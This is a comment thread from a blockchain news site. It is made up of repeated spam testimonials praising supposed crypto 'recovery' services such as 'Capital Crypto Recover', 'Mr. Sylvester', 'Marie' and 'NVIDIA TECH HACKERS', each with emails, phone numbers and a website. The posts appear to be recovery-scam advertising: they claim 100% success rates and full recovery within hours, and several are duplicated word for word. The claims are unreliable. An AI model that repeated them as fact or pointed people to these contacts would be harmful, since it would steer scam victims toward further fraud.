    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon